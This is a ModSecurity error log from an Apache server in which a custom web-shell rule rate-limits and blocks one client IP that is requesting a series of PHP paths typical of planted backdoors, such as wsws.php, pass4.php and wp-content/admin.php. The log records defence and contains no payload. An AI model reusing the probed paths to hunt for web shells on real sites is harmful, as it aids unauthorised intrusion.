[Sun Mar 01 13:25:53.197043 2026] [:error] [pid 41780:tid 41797] [client 158.158.52.178:38600] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mga.php"] [unique_id "aaPN4cONkVoocLIqzy37HwAAA84"]
[Sun Mar 01 13:25:53.682223 2026] [:error] [pid 41780:tid 41794] [client 158.158.52.178:36028] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaPN4cONkVoocLIqzy37IAAAA8s"]
[Sun Mar 01 13:25:54.164433 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:26348] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaPN4vKRPk6YnJBxw_zs1AAAANI"]
[Sun Mar 01 13:25:54.647277 2026] [:error] [pid 41342:tid 41347] [client 158.158.52.178:25136] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaPN4o4iJ6RAS5CatDk4ewAAAgI"]
[Sun Mar 01 13:25:55.124522 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:36001] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaPN4_KRPk6YnJBxw_zs1wAAAM4"]
[Sun Mar 01 13:25:55.601405 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:21626] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agg.php"] [unique_id "aaPN4_KRPk6YnJBxw_zs2gAAAM4"]
[Sun Mar 01 13:25:56.076554 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:38421] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agg.php"] [unique_id "aaPN5PKRPk6YnJBxw_zs3AAAANI"]
[Sun Mar 01 13:25:56.553191 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:38418] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agg.php"] [unique_id "aaPN5PKRPk6YnJBxw_zs3wAAAM4"]
[Sun Mar 01 13:25:57.030333 2026] [:error] [pid 41780:tid 41800] [client 158.158.52.178:35571] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agg.php"] [unique_id "aaPN5cONkVoocLIqzy37IgAAA9E"]
[Sun Mar 01 13:25:57.510769 2026] [:error] [pid 38241:tid 38256] [client 158.158.52.178:21317] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaPN5fKRPk6YnJBxw_zs4wAAAMw"]
[Sun Mar 01 13:25:57.987511 2026] [:error] [pid 38034:tid 38045] [client 158.158.52.178:38449] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaPN5QxtfZjwlJok9K9CjgAAAQc"]
[Sun Mar 01 13:25:58.464899 2026] [:error] [pid 41342:tid 41367] [client 158.158.52.178:25624] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaPN5o4iJ6RAS5CatDk4kQAAAhY"]
[Sun Mar 01 13:25:58.942660 2026] [:error] [pid 41342:tid 41359] [client 158.158.52.178:38402] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaPN5o4iJ6RAS5CatDk4lQAAAg4"]
[Sun Mar 01 13:25:59.419948 2026] [:error] [pid 40750:tid 40766] [client 158.158.52.178:34360] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaPN5wfBuk03yQKDyqu--gAAAc0"]
[Sun Mar 01 13:25:59.895857 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:21592] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaPN5wfBuk03yQKDyqu--wAAAdQ"]
[Sun Mar 01 13:26:00.372187 2026] [:error] [pid 41780:tid 41789] [client 158.158.52.178:38463] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaPN6MONkVoocLIqzy37KwAAA8Y"]
[Sun Mar 01 13:26:00.849677 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:25656] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaPN6MONkVoocLIqzy37LgAAA8w"]
[Sun Mar 01 13:26:01.327361 2026] [:error] [pid 41342:tid 41348] [client 158.158.52.178:31533] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaPN6Y4iJ6RAS5CatDk4pgAAAgM"]
[Sun Mar 01 13:26:01.810154 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:34342] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaPN6fKRPk6YnJBxw_zs6gAAAMk"]
[Sun Mar 01 13:26:02.313339 2026] [:error] [pid 41342:tid 41349] [client 158.158.52.178:38404] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaPN6o4iJ6RAS5CatDk4rgAAAgQ"]
[Sun Mar 01 13:26:02.801611 2026] [:error] [pid 41780:tid 41794] [client 158.158.52.178:25642] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/G-in.php"] [unique_id "aaPN6sONkVoocLIqzy37MAAAA8s"]
[Sun Mar 01 13:26:03.278595 2026] [:error] [pid 41342:tid 41365] [client 158.158.52.178:37429] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aaPN644iJ6RAS5CatDk4tAAAAhQ"]
[Sun Mar 01 13:26:03.759212 2026] [:error] [pid 41342:tid 41353] [client 158.158.52.178:27104] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aaPN644iJ6RAS5CatDk4tgAAAgg"]
[Sun Mar 01 13:26:04.296554 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:38650] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aaPN7PKRPk6YnJBxw_zs7gAAAM4"]
[Sun Mar 01 13:26:04.776016 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:38618] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "aaPN7PKRPk6YnJBxw_zs8AAAANE"]
[Sun Mar 01 13:26:05.263120 2026] [:error] [pid 41342:tid 41351] [client 158.158.52.178:25614] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaPN7Y4iJ6RAS5CatDk4uwAAAgY"]
[Sun Mar 01 13:26:05.740433 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:4425] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaPN7fKRPk6YnJBxw_zs9QAAANE"]
[Sun Mar 01 13:26:06.216638 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:34321] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaPN7vKRPk6YnJBxw_zs9wAAAMk"]
[Sun Mar 01 13:26:06.695679 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:42850] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/loxi-o.php"] [unique_id "aaPN7vKRPk6YnJBxw_zs-gAAAMk"]
[Sun Mar 01 13:26:07.173647 2026] [:error] [pid 41780:tid 41789] [client 158.158.52.178:27940] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPN78ONkVoocLIqzy37NwAAA8Y"]
[Sun Mar 01 13:26:07.653508 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:4945] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPN78ONkVoocLIqzy37OQAAA8U"]
[Sun Mar 01 13:26:08.131268 2026] [:error] [pid 41780:tid 41803] [client 158.158.52.178:25606] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPN8MONkVoocLIqzy37OgAAA9Q"]
[Sun Mar 01 13:26:08.607508 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:27135] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaPN8PKRPk6YnJBxw_zs_wAAAM4"]
[Sun Mar 01 13:26:09.083882 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:43447] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaPN8fKRPk6YnJBxw_ztAgAAANE"]
[Sun Mar 01 13:26:09.566758 2026] [:error] [pid 41342:tid 41359] [client 158.158.52.178:31061] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaPN8Y4iJ6RAS5CatDk4wwAAAg4"]
[Sun Mar 01 13:26:10.066807 2026] [:error] [pid 38241:tid 38261] [client 158.158.52.178:27121] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaPN8vKRPk6YnJBxw_ztBgAAANE"]
[Sun Mar 01 13:26:10.546179 2026] [:error] [pid 41780:tid 41787] [client 158.158.52.178:31101] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "aaPN8sONkVoocLIqzy37hgAAA8Q"]
[Sun Mar 01 13:26:11.026626 2026] [:error] [pid 41342:tid 41348] [client 158.158.52.178:31049] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPN844iJ6RAS5CatDk46wAAAgM"]
[Sun Mar 01 13:26:11.526725 2026] [:error] [pid 40750:tid 40771] [client 158.158.52.178:31064] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPN8wfBuk03yQKDyqu_CQAAAdI"]
[Sun Mar 01 13:26:12.004395 2026] [:error] [pid 40750:tid 40766] [client 158.158.52.178:30041] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPN9AfBuk03yQKDyqu_CgAAAc0"]
[Sun Mar 01 13:26:12.490039 2026] [:error] [pid 41342:tid 41350] [client 158.158.52.178:4959] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite"] [unique_id "aaPN9I4iJ6RAS5CatDk48wAAAgU"]
[Sun Mar 01 13:26:12.969036 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:30042] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaPN9PKRPk6YnJBxw_ztCwAAANI"]
[Sun Mar 01 13:26:13.446308 2026] [:error] [pid 41780:tid 41805] [client 158.158.52.178:34307] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaPN9cONkVoocLIqzy37rAAAA9Y"]
[Sun Mar 01 13:26:13.927610 2026] [:error] [pid 40750:tid 40763] [client 158.158.52.178:34312] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaPN9QfBuk03yQKDyqu_DgAAAco"]
[Sun Mar 01 13:26:14.408888 2026] [:error] [pid 40750:tid 40771] [client 158.158.52.178:37418] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/olfclass.php"] [unique_id "aaPN9gfBuk03yQKDyqu_EAAAAdI"]
[Sun Mar 01 13:26:14.893849 2026] [:error] [pid 40750:tid 40760] [client 158.158.52.178:37475] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaPN9gfBuk03yQKDyqu_FAAAAcc"]
[Sun Mar 01 13:26:15.385882 2026] [:error] [pid 41342:tid 41351] [client 158.158.52.178:31096] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaPN944iJ6RAS5CatDk4_wAAAgY"]
[Sun Mar 01 13:26:15.863187 2026] [:error] [pid 41342:tid 41369] [client 158.158.52.178:21346] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaPN944iJ6RAS5CatDk5AwAAAhg"]
[Sun Mar 01 13:26:16.338798 2026] [:error] [pid 41342:tid 41368] [client 158.158.52.178:27958] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file59.php"] [unique_id "aaPN-I4iJ6RAS5CatDk5BAAAAhc"]
[Sun Mar 01 13:26:16.817197 2026] [:error] [pid 41780:tid 41792] [client 158.158.52.178:43429] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPN-MONkVoocLIqzy37swAAA8k"]
[Sun Mar 01 13:26:17.305437 2026] [:error] [pid 41780:tid 41796] [client 158.158.52.178:35497] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPN-cONkVoocLIqzy37tgAAA80"]
[Sun Mar 01 13:26:17.783085 2026] [:error] [pid 40750:tid 40766] [client 158.158.52.178:43418] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPN-QfBuk03yQKDyqu_GgAAAc0"]
[Sun Mar 01 13:26:18.260950 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:27965] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fff.php"] [unique_id "aaPN-sONkVoocLIqzy37uQAAA8w"]
[Sun Mar 01 13:26:18.739718 2026] [:error] [pid 40750:tid 40755] [client 158.158.52.178:27083] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaPN-gfBuk03yQKDyqu_HAAAAcI"]
[Sun Mar 01 13:26:19.216075 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:27109] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaPN-wfBuk03yQKDyqu_HwAAAcw"]
[Sun Mar 01 13:26:19.699260 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:21336] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaPN-_KRPk6YnJBxw_ztGgAAAMk"]
